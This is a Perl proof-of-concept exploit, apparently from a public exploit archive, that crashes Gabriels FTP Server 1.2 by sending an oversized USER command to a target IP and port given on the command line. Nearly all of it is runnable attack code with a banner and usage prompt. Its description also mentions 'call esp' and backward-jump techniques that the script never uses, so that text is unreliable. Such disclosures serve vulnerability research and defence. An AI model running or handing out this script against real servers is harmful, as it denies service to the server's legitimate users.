#!/usr/bin/perl
use IO::Socket::INET;
# Exploit Title: Gabriels FTP Server 1.2 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 25 january 2024
# Vendor Homepage:  N/A
# Download to demo: https://drive.google.com/file/d/1k8QxfP6x908E-1QpRAVulKoAM9OEo1a8/view?usp=sharing
# Notification vendor: No reported
# Tested Version: Gabriels FTP Server 1.2
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=wwHuXfYS8yQ
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.
#When authenticating to the FTP server with a long USERNAME or a USERNAME with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
    $sis="$^O";
    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }
    system("$cmd");
        intro();
    main();
        print "[+] Exploiting... \n";
    my $payload = "\x41\x2C\x41\x20\x42"x500;
    my $ftp_socket = IO::Socket::INET->new(
        PeerAddr => $ip,
        PeerPort => $port,
        Proto    => 'tcp',
        Timeout => '10',
    ) or die "Não foi possível se conectar ao servidor.";
    my $response = <$ftp_socket>;
    print $ftp_socket "USER $payload\r\n";
    print "[+] Done - Exploited success!!!!!\n\n";
     sub intro {
      print "######################################################################\n";
      print "#                Gabriels FTP Server 1.2 - Denied of Service         #\n";
      print "#                                                                    #\n";
      print "#                       Coded by Fernando Mengali                    #\n";
      print "#                                                                    #\n";
      print "#                 e-mail: fernando.mengalli\@gmail.com               #\n";
      print "#                                                                    #\n";
      print "######################################################################\n";
  }
  sub main {
our ($ip, $port) = @ARGV;
      unless (defined($ip) && defined($port)) {
        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);
      }
  }
#3. Solution/ How to fix:
# This version product is deprecated